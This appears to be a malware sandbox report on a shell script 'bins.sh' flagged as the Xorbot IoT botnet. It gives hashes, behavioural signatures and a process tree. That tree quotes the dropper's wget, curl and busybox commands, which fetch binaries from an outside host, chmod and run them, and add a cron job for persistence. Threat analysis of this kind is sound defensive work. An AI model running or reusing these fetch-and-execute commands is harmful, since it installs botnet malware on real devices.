Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/01/2025, 09:42

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250105-lpdf2azpex
  • SHA256 812ef6f030af65d18b7d650063c4e5373ea991e2b32c93cd6902c4c8df41d427
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1561) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          2⤵
          • System Network Configuration Discovery
          PID:728
        • /bin/chmod
          chmod 777 FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          ./FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:762
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
            2⤵
            • System Network Configuration Discovery
            PID:781
          • /bin/chmod
            chmod 777 0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
            2⤵
            • File and Directory Permissions Modification
            PID:782
          • /tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
            ./0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:783
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:785
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:786
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:794
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:795
                • /bin/rm
                  rm 0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
                  2⤵
                    PID:790
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/yogWT6uplQ4Qagy1Cedt0F6N29I1BbHdmK
                    2⤵
                    • System Network Configuration Discovery
                    PID:796

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
                      • Path /tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
                      • Size 151KB
                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
                      • Path /tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
                      • Size 98KB
                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.WwNdBf
                      • Path /var/spool/cron/crontabs/tmp.WwNdBf
                      • Size 210B
                      • SHA256 84a7c62682918dc27ca251a44e41778d92f718780b6f32d57046c6561e939cf5
                      • MD5 SHA1 SHA512
                      Submit Download